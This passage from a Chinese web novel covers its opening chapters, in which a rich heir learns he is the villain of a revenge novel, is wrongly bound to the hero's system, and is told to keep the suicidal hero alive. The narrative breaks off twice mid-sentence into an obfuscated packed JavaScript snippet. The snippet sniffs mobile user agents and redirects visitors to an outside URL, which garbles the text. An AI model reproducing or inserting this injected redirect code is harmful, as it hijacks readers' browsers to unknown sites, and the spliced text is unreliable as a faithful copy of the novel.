《拯救世界翻车指南》 1. 恶毒反派?我吗? “漾漾——” “祁少!” 风声,人声,海浪声,在某一瞬间全部消散。 像被人按下了时间,只剩坠海前最后那一秒被无限延伸,拉长。 长到祁漾觉得自己好像在海面悬停了一个世纪。 然后走马灯似的,亲历又旁观地过完一生—— 原来他,“祁漾”,是一本集雨夜追车、绑架、爆炸、坠崖、下药等多重元素于一体的复仇逆袭流男主小说中的…反派?? 书中他手段狠辣,对男主谢执行尽恶毒之事。 恶毒反派? 谁? 我吗? 还来不及细想自己能有多恶毒,祁漾耳边“叮”的一下。 很清晰。 像老钟表滴答报时的声音。 这一下,好似某个脱轨的零件被顷刻修复,带着周遭停滞的一切恢复运转。 消失许久的失重感再度来袭。 祁漾甚至没来得及惊呼一声,铺天盖地的海水骤然淹没口鼻。 他屏住呼吸,双手拼命地往四周抓着。 可什么都没抓住。 好像真的要死了。 好冷。 “叮。” “系统π997,欢迎宿主谢执。” 什么声音? 祁漾还以为是濒死前的幻听,再下一秒。 “宿主姓名,谢执,性别,男,年龄,26岁。” “请宿主核对基本信息,是否无误。” 祁漾:“?” 看来今天真要死在这海里了,脑袋里有人说话。 还喊他谢执。 那道机械音似乎因为太久没得到回应,又重复了一遍。 “请宿主核对基本信息,是否无误。” 祁漾气若游丝开口:“…有误。” 机械音:“嗯?” 祁漾:“我叫祁漾,不叫谢执。” 一道夹杂着激烈电流的爆鸣声在祁漾脑袋里轰地炸开。 “祁漾?怎么是…” 祁漾没来得及听完。 因为有一只手掌比那道机械音来得更快。 谁? 半窒息中,祁漾只感觉到那只比海水都凉的手掌在他脖颈间停留许久,然后托住他的下巴,一点一点上浮…… “在那在那,我看见了!” “漾漾!” “都杵这干吗,去帮忙啊!” “手给我!”发小蒋高轩单膝跪在延伸踏板边,紧紧抓住祁漾的手腕,将人从水里彻底捞起来的那一秒,声音紧跟着轰下来。 “你怎么掉下去的?” 对啊,我怎么掉下去的? 祁漾:“我……” 蒋高轩把浴巾披在祁漾身上,满脸阴鸷:“是不是谢执?” 祁漾:“什么?” “周兴岳说看到你和谢执站在一层甲板上,当时就你和他两个人,然后你就掉进了海里,”蒋高轩咬牙,“是谢执对不对?” “一定是他。” “老子现在就去宰了他。” 不是? 你要宰了谁? 祁漾一把扯住蒋高轩:“等下…唔。” 蒋高轩一回头,看到的就是祁漾捂着脑袋倒下去。 “怎么了?撞到脑袋了是不是?我看看!医生呢!人呢!” 整个游艇因为祁漾乱做一团,无人在意某道身影独自撑着延伸踏板的边沿,从海里迈上来。 - 祁漾:“你是说,你叫π997……” 997:“宿主直接喊我997就好。” “好,997,你说你是…那什么‘天道’……” “主神。”997纠正。 “行,就是主神派给这个世界的天命之子,也就是谢执的系统?” “嗯。” 祁漾生无可恋:“然后你绑错了宿主,目前还无法解绑。” 997:“嗯,宿主您已经确认七遍了。” 祁漾就算确认十遍也觉得离奇。 时间回到十分钟前。 在祁漾捂着脑袋倒下的那一秒,他脑海中又响起那道机械音。 祁漾一度怀疑是自己身体出了什么问题。 直到那个自称“π997”的东西说了一句:“你还记得自己为什么会掉进海里吗?” “我……” 997不紧不慢。 “因为你解开了游艇甲板的防护网,打算把谢执推进海里,给他个教训。” “可在谢执按照你的计划摔下去的瞬间,你却把他抓住了。” 祁漾想起来了。 997说的没错。 但他没抓住谢执,跟他一起摔了进去。 “抓住谢执的时候,你在想什么?”997又问。 “我……” “你在想,‘奇怪,我为什么要把谢执推下去’。” 祁漾有点模糊印象。 “所以呢,有问题吗?”他不解。 “有,”997语气平静,“祁漾,这不是一个反派该想的事。” “我在谢执这个位面运行了很多次,这是第一次出现人物偏差,你生出了自己的意识,可能也是造成绑定错误的原因。” 997一条一条罗列,一条一条举证,祁漾终于,也不得不接受系统存在的事实。 “那现在这种情况要怎么处理?”祁漾二十几年的世界观在这几分钟内被颠覆,“一定要绑回去吗?” 997:“嗯,系统现在虽然绑在你身上,但这个世界男主命格依旧在谢执那里,如果不绑回去,小世界崩塌,谢执死,你也死,都得死。” 祁漾:“那能绑回去吗?” 997:“能,系统重置,需要缓冲。” 祁漾长松一口气。 他自认做不了男主那些追车跳崖枪战的事。 能绑回去,他又知道了谢执的身份…那岂不是意味着只要他带着祁家离开天城,就能远离这趟浑水? 祁漾瞬间安心:“好,那我等你缓……” “不行。” 祁漾话还没说完就被997出声打断。 祁漾:“什么不行?” 997:“你刚刚想的事不行,宿主不能离开天城。” 祁漾甚至都忘了问997是怎么知道他在想什么的:“为什么?” 997:“因为谢执的情况和一般男主…不一样。” 997诡异的停顿让祁漾直觉不好。 “怎么不一样?” “谢执经常‘找死’,你得让他活着。” 祁漾还以为自己听错了:“找死?什么意思?” 997却没多说,只重复了一遍:“你必须让谢执活着,否则小世界崩塌,男主死,你也——” “我也死,都得死,我知道,”祁漾截住997的声音,“可问题是,我怎么保证?不是你说的男主经常‘找死’的吗?” 997一锤定音。 “‘天道眷顾’光环在你身上,你得跟着他。” “我跟着…”祁漾额角又带起一阵眩晕。 紧接着,他脑海里接连闪过几个零星片段。 画面有些眼熟。 祁漾捂着脑袋再度闷哼一声,等他再看清这些片段…这不就是他坠海前那一场“走马灯”中看到的画面吗? 在那些片段里,天城以谢家的恒泰集团、祁家的海川集团为首,底下就是蒋家的聚丰一流,但无论是恒泰、海川还是聚丰,最后都被谢执收入囊中,成为谢执“砺石集团”商业版图的奠基石。 谢执回到天城,为的就是覆灭谢家,完成他母亲和小姨的遗愿。 那些片段很零碎,祁漾看不完全,只依稀记得谢执的妈妈名叫沈舒,是个孤女,和福利院另外一名女孩相依为命长大。 沈舒待那小姑娘极好,视她作亲姐妹,并给那女孩起名沈韵。 后来,沈舒因其出众的外貌,成年后被星探发掘,成为一名歌星,可没多久就被谢家长子,也就是谢执生理意义上的父亲诱骗,生下谢执后撒手人寰。 谢执被他小姨沈韵一手带大。 沈韵恨透了谢家每一个人,包括谢执。 她活着的唯一念想就是替姐姐报仇,最终积郁成疾,于两年前病逝。 沈韵只给谢执留了一句话:“我要谢家家破人亡。” 谢执就带着这句遗言和他的“砺石风投”杀进了天城。 只两年时间,砺石风投就以其激进、强势却又隐秘的风格闻名整个天城。 但天城商界只知道砺石风投的老板叫魏河风,无人知晓它背后的掌权人其实是谢执。 而谢执现在在天城的身份,就只是谢家的私生子。 祁漾越想越心惊。 然而眼下即便是他们海川会在未来成为奠基石,也不是他最关心的。 祁漾最关心的是—— 如果那些画面没出错,那“走马灯”最终的结局,谢执分明…也死了?! “997,”祁漾生怕是自己看岔了什么,紧急呼叫,“我落海前一秒看到那些画面是不是真的?” 997:“是。” 祁漾:“你不是说男主有‘天道眷顾’光环吗?” 那谢执为什么会死? 在追车坠崖爆炸中都能活下来的执傲天怎么可能会死? 997这次沉默了足足半分钟才开口:“谢执自尽的。” “什么?”祁漾差点以为自己耳朵出现了问题,“自尽?为什么?理由呢?” 997:“…谢执要谢家家破人亡。” 祁漾知道,但这和他自尽有什么关系? “…宿主,谢执自己也姓谢。”良久,997低声回了这么一句。 祁漾:“………” 祁漾终于知道在那些片段中,为什么所有人都说谢执是疯子。 他给自己设计的终局也是死局。 也终于知道997那句“我在谢执这个位面运行了很多次”是什么意思—— 谢执一次又一次选择死亡,男主死了,小世界崩塌,系统回档,重来。 “那最终结局不都是死吗?”祁漾精神都快瘫痪。 一直表现得很平静的997语气终于有所起伏:“那是前几个世界的运行轨迹,数据检测到这个世界不一样。” “怎么不一样?”祁漾不懂,“难道男主愿意活着?” 997像是犹豫了几秒,点了头:“嗯。” 祁漾几乎听笑了。 “系统绑在谢执身上,助他势如破竹踏平谢家,踏平天城,谢执都不想活,现在系统错绑在我身上,谢执反倒愿意活了?997,你觉得这合理吗?” 997:“……” 997自己也觉得奇怪。 这个世界的数据奇怪。 时间节点奇怪。 它明明应该在谢执刚回天城的时候就和谢执绑定的。 现在却晚了整整一年。 997自己也给不出答案。 997没再说话。 系统一消失,周遭的一切重新清晰起来。 祁漾发现自己正躺在一层甲板的沙发椅上,身边是越发暴躁的蒋高轩。 “蒋少,医生在保姆艇上,马上来,马上来!” 祁漾脑子里还残存着“走马灯”的心悸,又想到997那句“男主经常找死”,一把扯下盖在自己身上的浴巾,开口砸下第一句话:“男主…不是,谢执呢?” 周遭瞬间安静。 蒋高轩顿住,在听到“谢执”两个字后,像是触发了什么,俯身捡起被祁漾扔到一旁的浴巾,重新盖在祁漾身上,阴沉开口:“我知道。” “你好好躺着,我会处理。” 你处理什么? 祁漾很快就知道了。 “没听到祁少的话吗?去找,”蒋高轩扭头对着身后一群人开口,“找到之后,把人……” 祁漾也顾不上多想:“把人带过……” 蒋高轩:“扔下去。” 两人声音交叠而起,又被蒋高轩声音彻底盖下去。 祁漾:“…?” 蒋高轩拍了拍祁漾小臂,给了他一个“我办事,你放心”的眼神,对身后的人继续道:“找人看着,别弄死了。” 祁漾安详了。 在这一刻,他终于看到一个“反派”真正该想的是什么。 是怎么弄死男主。 也终于意识到自己接下来要独自面对一个多大的烂摊子。 他是生出了自己的意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444213|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但蒋高轩他们没有,祁家也没有。 祁漾闭着眼喊了一句“997”,还是无人回应。 “好的,蒋少,我马上去。” “都给我站住。”祁漾白着一张脸,从沙发椅上站起来。 甲板上瞬间静得只剩风声,小半分钟后,一群人才捡回自己的声音。 在生死边缘走了一趟,又在海里泡了一遭,祁漾头疼得厉害,唇色也是白的,湿漉浓密的眼睫黏成一簇簇,眼尾还挂着几缕水痕,他没力气跟蒋高轩多周旋,直截了当开口道:“阿轩,别动他。” 蒋高轩:“谁?” 祁漾抬眼:“谢执。” 蒋高轩:“我知道,只是给你撒撒气,不过火。” “找人看着就是了,弄不死。” 祁漾深吸一口气:“谢执不是一般人,以后无论是你,还是蒋家,都不要——” “警告。” “警告。” 消失半天的997再度出现,跟着一起出现的,还有两道尖锐到仿佛能刺穿耳膜的警报声。 “宿主不得做出违背位面世界基本意志的行为。” “宿主不得干预位面人物重大因果。” 意志? 因果? 祁漾把这两句话颠来倒去顺了两遍,终于厘清。 “所以你的意思是,我要待在谢执身边,除了谢执之外,其他人都不用管,祁家也不用管。” “不仅不能管,还要亲眼看着我的家人、朋友前仆后继作死,成为男主成功路上的奠基石,是这个意思吗?” 997被噎住了,一时无话。 “997,说话。” 那头仍旧安静。 “懂了。”祁漾安静地笑了一声。 他衣服还没换,紧裹着身体,从头到脚仍旧湿漉,沾水的发丝柔顺地贴在腮边。 甲板上风不止,每吹一下,祁漾牙关就极轻地上下一碰,眼尾还带着因为咳嗽激起的潮红,像樽一碰就能碎完的瓷器。 是一副精致到浓酽,又随时会倒下,任谁看都不忍心的模样,997却无端觉察到危险。 “997,你们系统平时有休息时间吗?”祁漾很忽然地问。 997电流声顿了下,像是卡了一下壳,才道:“有。” 祁漾:“那你们休息的时候都做什么?看动画片吗?” 997:“…什么?” 祁漾:“你知道什么叫‘天地同寿’吗。” 997忽然有种不好的预感。 下一秒—— “阿轩,我们反派就该有反派的宿命和因果,”祁漾扬着唇,悠悠转头,在满耳警报声中看着蒋高轩,“你要死,祁家要死,蒋家要死,都要死。” 997:“警告!警告!宿主不得……” 祁漾:“那走什么弯路。” 997:“警告!警告!宿主不得……” 祁漾:“我们一步到位。” 997:“宿主,您——” 祁漾:“现在,立刻,马上,弄死谢——” 997:“撤回!撤回!撤回所有警告!” 警报声顷刻间消弭,耳边只余寂静。 祁漾一口气长舒出去。 997就这么看着前一秒还“吃我一招天地同寿”的某位霸王,下一秒立刻卖乖。 “997,你最好了。” 997:“…………” 空气长久凝滞。 最后还是997先开的口。 “宿主,您可以干预位面人物的行为,但只能施加影响,不能直接介入。” 祁漾:“比如?” 997:“比如不能直接让祁家、蒋家离开天城,不能直接让位面人物远离男主。” 祁漾正在思索这个“施加影响”的底线在哪,他只顾着和997谈判,一时忘了甲板上还候着一堆人,身旁的蒋高轩一连喊了他五六声都没反应。 “什么祁家要死?你要我弄死什么?” “蒋少,我听到了,好像是要…弄死谢执?” “不能直接远离男主,那我……”祁漾正准备细问,却被997忽然的出声打断。 “宿主请注意,男主出现,地图坐标,东南方131度,直线距离8.39米。” 祁漾被打了个措手不及,倏地抬起头,就这么在甲板人潮的间隙里,和那人对上视线。 巨型游艇以极缓慢的速度,半漂半停于海中央。 海风挟带着冰冷的深海气味,在周身呼啸。 谢执兀自站在游艇边缘的暗角,他身上的衬衣早已湿透,紧贴在身上,领口并不妥帖地敞着,肩头还渗着血。 在这艘围绕祁漾旋转形成的涡流人情地带,谢执始终静立在最外围。 祁漾浑身都在发寒。 那是一双怎样的眼睛? 阴冷,死寂,不含半点温度。 “997,”祁漾恍惚喊了一声,“他是鬼么。” 997没有回答,只说:“宿主请注意,检测到男主出现轻度失血症状。” 祁漾视线最终缓慢落在谢执那透血的肩头。 男主这伤…什么时候弄的? 掉进海里前?还是后? 完大蛋。 不会是他弄的吧? 祁漾下意识抬起手,正要示意派人过去—— “你要我弄死谢执?” 蒋高轩这道声音并不响,但船上太静,静到这声音足以传遍整片“涡流地带”。 包括最外围那块暗角。 祁漾所有动作止住,半抬着的手指发出一阵细密的战栗,他抱着最后的侥幸,在脑海里开口:“阿轩这句话,谢执听到了吗。” 脑海中闪过一小段电流声。 997在,但没说话。 也不用说了。 祁漾已经知道了答案。 因为他看到谢执很轻地扬了扬唇。 男主笑了。 祁漾…祁漾死了。 两秒后,祁漾轰轰烈烈倒了下来。 真倒。 两眼一闭,一头栽倒。 整艘游艇局面混乱到无以复加,蒋高轩摸着祁漾滚烫的额头,哪里还顾得上什么谢执,喊着医生,抱着人直冲向游艇二层。 2. 你疯了吗谢执? “联系医院了没?” “什么叫还没,给你们开那么高工资请你们来当摆设的?!” “刚刚身体还冰凉的,怎么说了两句话,额头就烫成这样?” “都让开!” 各种声音海水似的灌进来。 蒋高轩手跟着声音一起抖,硬是把半昏迷的祁漾晃出了点意识。 祁漾撑着最后力气,抬起眼皮。 谢执还站在那里。 但笑意已经敛去,恢复成无波无澜的模样。 艳阳高照的天,那人沐着光,却像具没有生气的躯壳。 那躯壳在祁漾眼中越来越远,越来越小。 隐约间,祁漾看到一道身影朝着谢执走过去。 身形同样有点眼熟。 …对了,是魏河风。 砺石风投明面上的老板。 差点忘了,魏河风也在这艘游艇上。 997只离开了一小会,后台突然亮起红灯,赶忙回来,祁漾的体温已经飙到39度。 烧这么快显然不正常,大概率是被系统链接的精神压力影响到了。 997一查,症结果然在这,正要帮忙修复,忽然检测到一段有关谢执的波动。 是祁漾彻底晕过去前,残存的最后一点意识。 997想起那句“他是鬼么”,还以为是祁漾被谢执吓到了,细细一检索—— “魏河风在,应该会帮忙处理谢执肩上的伤吧。” 997愣了几秒,有些诧异地看了祁漾一眼。 - 魏河风避着人群,推开套房房门走进来,谢执正给自己右肩缠绷带。 他坐在床上,听到声音也没有抬头,咬着绷带打了个死结。 力道很重,鲜血重新从伤口渗出来,把原本雪白的绷带染出一块红。 魏河风看得肉痛,揉了揉自己的太阳穴:“大哥,你当我死的啊?就不能等我帮忙?” 谢执没在意伤口,也没在意魏河风的话,从床尾拿过干净衬衣,套在身上。 “走廊两个摄像头。” “我知道,我从二楼链接廊下来的,拍不到,”魏河风翻了个白眼,“现在整艘船的人都在祁漾那里,蒋高轩连你都放过了,谁管我去哪?” 听到祁漾的名字,谢执系纽扣的长指微顿,只一下。 “死了?” 他继续系着纽扣,似笑非笑。 魏河风后脑胀到一整个哐哐疼,咬牙切齿:“我真是…” 真是信了他的邪才跟着谢执这个疯子回了天城。 “没死。” 魏河风说完,跟个没头苍蝇似的,在沙发旁暴躁踱步,连转了三圈,才扭脸看向谢执。 “祁漾死不了,不可能死,也不可以死。” “尤其不能死在这,死在你手上!你懂不懂!” 魏河风一步跨过来,紧咬着后槽牙,目光如炬看着谢执:“谢执,你别以为我没看到,我看得很清楚!” “看清楚什么。” 谢执声音轻飘得不像话,几秒后,慢条斯理笑了下。 “看清楚我怎么救他?” “救?!”明明整个房间只有两个人,魏河风却还是压着嗓,几乎从牙齿缝隙间挤出声音,“你那是救吗?!” 祁漾和谢执一道落水,整船人乱成一锅粥,所有人都在找祁漾的位置,只有魏河风在找谢执。 借着那枚安在谢执领口处的针孔摄像头,魏河风看得比谁都清楚。 谢执哪是托着祁漾的下巴让他浮起来,分明是—— “你掐住了他的脖子!谢执!祁漾现在脖子上可能还留着你的指痕!” “你是疯了吗?你知道他是谁吗?他是祁漾!别说死在这,就是稍微出点差池,整船人都别想落个好的祁漾。” “你就算再想动手,也不能在这种时候,你明不明白?其他人都眼瞎吗?你还让我管他大爷的什么摄像头?现在你倒是知道这船上还有摄像头了?你想掐死祁漾的时候怎么不见你想起这个?你掐住祁漾脖子——” 魏河风声音突然顿住,他视线定在某个空荡荡的地方,声音骇到卡壳。 “不是,你脖子、你脖子上的平安扣呢。” 谢执表情终于有了一点变化,但转瞬即逝。 他系上最后一颗扣子。 “丢了。” “你放屁,那平安扣你从不离身,怎么可能说丢就…”魏河风想到了什么,猛地抬头,“刚刚掉海里了?” 魏河风眼眶睁大:“…祁漾弄掉的?” 这次谢执没答。 魏河风脾气瞬间散得一干二净。 他嘴巴张了合,合了张,什么话都说不出来。 那枚墨玉做的平安扣,是沈舒留给谢执唯一的东西。 其余物件,无论大的,小的,都被沈韵一把烧净,连着灰,一起带进了沈舒和沈韵的墓里。 现在平安扣也被祁漾弄丢。 魏河风心头五味杂陈。 他点燃一根烟,抽了两口,才说:“让祁漾赔罪有无数条路,不用你亲自动手。” “平安扣我找人捞。” “不用。”谢执穿好衬衣,脸上看不出什么情绪。 他余光掠过胸口的位置。 留不住的东西,都是不该留的。 拼了命去拽,只会让人丑态毕露。 至于祁漾。 谢执脑海闪过祁漾那张脸。 好看得令人憎恶。 只是颗内里腐烂的苹果。 谢执抬手,摸了摸空荡的脖颈。 “可惜了。”他忽然说。 魏河风不知道这句“可惜了”说的是那枚平安扣,还是祁漾。 只是看着谢执。 与其说他平静,不如说是“习惯”。 因为习惯了失去,因为都在失去,所以面对失去时,连自怜都觉得奢侈,也没学会,只麻木的审判。 但平安扣终归是不一样的。 祁漾脖子上的指痕就是最好的证明。 魏河风唉了一声,拿出手机给底下的人发消息,问打捞的事。 底下很快回过。 【老大,问过了,说平安扣体积太小了,没有定位,又是深海,随洋流移动可能一天一个位置,跟大海捞针没区别,就算不计成本,也不可能。】 魏河风又叹了一口气,仰头看向二楼的方位。 这祁家少爷动什么不好,怎么偏偏弄丢了这个? - 而此时躺在二楼,偏偏弄丢了这个的少爷,体温一点一点降下来。 祁漾眼睛还没睁开,意识已经清醒,耳边是医生和蒋高轩他们的声音。 “奇怪,体温怎么降这么快?” “你是医生你问我?” 祁漾脑袋还有点沉,隐约觉察到什么。 “997,体温你帮我降的?” 两秒后,997出现:“嗯。” 祁漾:“你真好。” 电流声滋啦滋啦两下。 “这次是特殊情况,你身体异常是系统链接造成的,所以我能帮你修复。” “但现生层面造成的病症,只能现生修复。” 祁漾:“现生修复?” 997道:“就是看医生。” 祁漾听笑了:“你们系统讲话都这样吗?” 一板一眼的。 997:“……” “好了,讲正事,”祁漾正色道,“你不是说‘天道眷顾’光环在我身上吗?我还会生病吗?病了系统也不能帮忙?” “天道眷顾光环指的是宿主生命遭遇严重威胁,濒死时,光环能帮助宿主化险为夷。” “至于修复现生层面造成的病症,”997停顿片刻,“很抱歉,原则上,宿主您暂时没有这个权限。” “权限?” 随着祁漾话音落下,他脑海“嘀”的一下,一个闪着萤蓝光的界面凭空闪现出来。 界面上方映着“欢迎登录数据中心”六个字。 用户名那里还写着祁漾的名字。 祁漾已经彻底接受系统的存在,此时无论看到什么都接受良好。 “点登录吗?”他新奇道。 “嗯,输入密码登录,密码是π997。” 祁漾随着指令登进后台,打眼一扫,终于明白997口中的“没有权限”是什么意思。 在这个暂时写着祁漾名字的中心数据库里,除了人物介绍页面和地图等基本功能,其他页面,比如什么成就解锁、成就奖励,全是灰的,唯一点亮的,就一块写着“经验积分”的小版块。 “…也不是什么都不能用,”997找补似的开口,“系统初始赠送痛觉屏蔽和伤害比例减免功能。” “只是宿主需注意,这两项功能会在检测到宿主生命遭遇重大威胁时自动生效,也只在这种情况下生效,其余情况暂不适用。” “除此之外,获得的经验积分也是可以兑换物品的,后期如果宿主资源超出,还可以把已兑换的物品或者相关功能进行回收,重新兑换成经验积分。” 997说完又沉默下来。 不是不愿意说。 是不知道说什么了。 这个位面世界是为谢执而生的,系统所有数据也是为谢执量身定制,祁漾就像一段突然的,错误的编码。 这个“Bug”可以保持运行,但不可完全兼容。 就像一个新版本文档无法在旧版系统打开。 997没打过这么贫瘠的仗,正心虚,却听到它宿主雀跃的声音。 “这是什么?” 997一回神,听到祁漾这么问。 它一看。 它的宿主正在尝试点开一个小浮窗。 “这个不用看。”997立刻道。 祁漾:“不能看?” 997:“不是,这个界面是系统相关,对宿主来说是无关界面。” 然而这个宿主显然不按常理出牌。 “那我倒要看看多无关了。” 997:“…?” 祁漾一点进去—— 是一个小小的系统鲜花商城。 997没拦住,只好开口解释。 “鲜花商城的兑换货币是宿主的经验积分,对宿主没有助益,不用……” “对你们系统呢?有用吗?” “有用,算是额外……” “类似于奖金?” “嗯,但对宿主没有……” “你喜欢洋甘菊还是康乃馨?” 祁漾语速如珠似弹。 997意识到了什么,一惊:“我、我不……” 祁漾:“那洋甘菊吧。” 6积分,兑换。 初始积分总共才10积分,一下被砍掉大半。 997整个统都傻了,后台界面都差点稳不住,一路噼里啪啦火花带闪电。 “宿主!”997陡然拔高音量。 祁漾笑了下,随口回了句“在呢”,然后继续往下扫着鲜花商城。 好像一点也不在意刚刚挥金如土的那一下。 “花的品类还挺多。” “最贵的是这个铃兰吗?要99积分。” “你怎么不说话?不喜欢洋甘菊?” 过了足足半分钟,祁漾才重新听到997的声音。 “喜欢,但不值。” “喜欢那就值。”祁漾云淡风轻开口。 997不明白。 它们系统不是没收过花。 历经那么多世界,在许多位面,在宿主已经获得足够多的经验,解锁足够多的成就,积分满溢的情况下,会有宿主选择给系统送点奖励,但—— “没有哪位宿主会用初始积分送系统花的。” 总共也才十积分。 祁漾的积分还比一般宿主更难攒。 “那现在有了。” “你让我平白赚了一个系统,还给我治病,就当做见面礼。”祁漾说。 “…宿主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444214|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是我们系统本职工作。” “那就当之前吓唬你的道歉礼物。” 997:“…?” 那么多禁用权限,宿主为什么不生气,还要送它花? 997不懂。 它凝神看着这位新宿主。 新宿主还在研究鲜花商城,甚至得空问了一句怎么没有10积分的花。 …就好像如果有,他会毫不犹豫把全部积分兑换掉。 没一会。 “997你收到过铃兰没?”祁漾又问。 997实在不知道自己这位宿主哪来那么多乱七八糟,东一榔头西一棒槌的想法。 “没。” “那我攒攒,到时候给你兑一个。” “?” 祁漾点开那朵铃兰,正想看看商品简介,可手指一滑,不知道点到了什么,系统突然来到一个全新界面。 与之前所有界面都不一样。 这个界面极其简洁。 悬着的窗口上只有两个硕大,鲜红的按钮。 一个写着注销,一个写着转移。 “997,这两个按钮是?” 997诡异地停顿了片刻,才开口。 “注销系统和转移系统。” 那不就是他需要的吗? 把系统转还给谢执。 祁漾眼睛都闪了闪,抬起手才意识到按钮同样是灰色的。 意味着没有使用权限。 “我按不了?” “是的,”997还是那句话,“抱歉宿主,只有位面主角有这个权限。” “我不是说这个。”祁漾摆摆手,他盯着这两个按钮看了好一会。 “这两个按钮的设计意义是什么?” 别说没有这个权限。 就算有,也没人需要吧。 用扁桃体想,都知道没有哪个主角会销毁系统。 更遑论转移。 祁漾没注意到997突然没了声音,抬手正要关掉。 “有的。”机械音再度出现,带来这么两个字。 祁漾手顿住:“?” “注销过。”997声音比刚刚更低。 “谁?”祁漾下意识追问完,脑海突然浮出一道影子。 不会吧…… 祁漾心口一跳。 “…谢执?” 死一般的寂静后。 祁漾听到997那混杂着断续哨音,像临终喉响,又像微弱哀鸣,透出深深绝望的—— “嗯。” “谢执。” “注销次数,31次。” - 直到意识彻底回笼,听到蒋高轩他们的声音。 祁漾还没从这个“31次”里缓过来。 身上的不适感已经消散大半,思绪却仍在放空。 997说它在谢执这个位面运行了31次。 运行31次,注销31次? 谢执是在什么情况下注销的系统? “不是说都退烧了吗?怎么还不醒?”蒋高轩说。 谢家覆灭后?还是自尽前? “到底行不行,给个准话。” 为什么注销? “给中沙那边打电话,让他们的移动医疗车在码头等着,船到车到!” 还有谢执…… “人不够就把保姆艇上的人调过来,速度给我提到最快!还有甲板上的监控什么时……” 祁漾太阳穴鼓胀到几乎要爆炸,刷地一下睁开眼:“死人都能被你吵活。” 差点就要砸手机的蒋高轩听到祁漾的声音,通话都来不及挂,扔下手机三步并两步从窗边踱过来:“醒了?有没有哪里不舒服?想不想吐?” “…没事。” 祁漾看着围在床边乌泱泱小二十号人,在额头按了好一会才开口:“去玩吧,都待这干什么。” 祁漾靠在枕头上,刚退烧,出了点冷汗,额前贴着几缕濡湿的碎发,看着仍有点病气。 “都先出去。”蒋高轩听着,朝着他们摆了摆手。 一群小姐少爷谁都不想走,可蒋少发了话,再不情不愿也只好应下。 一群人小声嘟囔了几句,也朝着大门走,却忽然听到一句“等等”。 是祁漾的声音。 所有人登时停下脚步,齐齐回头。 乌泱泱一团被这一声按下暂停键。 只有拎着药箱的随行私人医生脚步没停。 床上一个大祖宗,旁边一屋小祖宗,这“等等”总归不该是喊他,医生这么想着,碎步挪得更快。 就在他脚要跨出房门的瞬间—— “医生?”床上大祖宗不解的声音传来,“怎么走那么快?” 如芒在背。 医生一回头,果然,一屋的视线全射在他身上。 医生汗差点冒出来。 “祁少,你这烧起得太快退得太快,确实不太对劲,船上仪器不太充足,我已经联系医疗车和团队了,等靠岸……” “我不是问这个,”祁漾看着医生的样子,随口补了一句,“我身体没事,不是你的问题。” 祁漾快速终止这个话题。 视线往下一转,落在医生的医疗箱上。 在甲板上的时候,997是不是提醒了一句,说男主出现了轻度失血症状? 祁漾盯着那医疗箱看了好一会。 “里面有清创消毒的器械吗?”他忽然问。 医生愣了下,答:“有的。” 蒋高轩还没从祁漾高烧的事里缓过神,转耳又听到清创消毒。 “清创?你身上有伤口?哪里?” “不是我。”祁漾回了他一声,继续看向医生,“那你跟管家去一趟一楼。” “谢执房间…你问管家,看看谢执房间几号。” “他肩膀在流血,你处理一下。” 祁漾停顿了片刻,又道。 “别说是我,就说管家让你来的。” 整个屋子安静了。 3. 反派之间的羁绊 医生拎着医疗箱,在一片茫然中随着管家离开。 身后还跟了一群被祁漾那几句话听傻了的少爷小姐。 屋里最后只剩下六个人。 除蒋高轩外,还有蒋高轩的亲妹妹蒋书怡,通过转口贸易和造船业发家的辛家二小姐,辛君璇。 珠宝巨擘许家许今欢,以及她男朋友季明庄。 房间里静到落针可闻。 仿佛过去了一个漫长世纪—— “你让医生去看谢执?他把你弄进海里我还没找他算账,你还给他找医生?” 蒋高轩差点压不住脾气。 “我说了,不是他把我弄进了海里。” “是我解了游艇的防护网,我推的他。” “结果没站稳,一起摔了进去。” 祁漾都不知道这是第几次解释。 当时他昏昏沉沉晕过去,又在半路被蒋高轩晃醒,除了分神去看谢执外,最要紧的一件事,就是撑着精神跟蒋高轩说他落水的前因后果,怕的就是在他昏过去这段时间,蒋高轩对谢执下手。 “你不说还好,你要说这个,我还想问你了,”许今欢一连串问号几乎显露于脸,“上船前不是说好让阿轩对付谢执的吗?你怎么自己动上手了?还把自己弄进了海里?” 祁漾一怔:“动手?” 许今欢:“对啊。” 祁漾脸上表情是空的:“对付谢执?” 许今欢眼睛瞪圆了几分:“对啊,你说的啊。” 祁漾:“我吗?” 许今欢:“对啊,你啊!” 祁漾像被铅灌住的脑子终于意识到什么。 做反派不可怕。 做反派却根本不记得自己怎样“反派”才可怕。 额间青筋疯狂跳动,祁漾两眼一黑,在脑海里轻唤出声:“997,什么情况?” 他怎么一点记忆都没有? …也不算一点记忆都没有。 祁漾清晰地记得自己是怎么上船的,在船上做了什么,见了什么人。 前提是不涉及谢执。 “在的,宿主。” 确认997还在,祁漾几乎是立刻开了口:“我好像记不清……” “已经帮宿主查过了。”祁漾话没说完,就被997打断。 “不会也是系统链接的后遗症吧?”祁漾先一步猜测。 跟那场高烧一样。 “…严格说,应该是宿主你觉醒自我意识的后遗症。”997道。 祁漾:“?” 997也是第一次遇到这种情况,它搜索一圈,只得到一个“疑似触发位面世界保护机制,相关记忆清除”这样模棱两可的答案。 997进一步解释,说完,它的宿主安静下来。 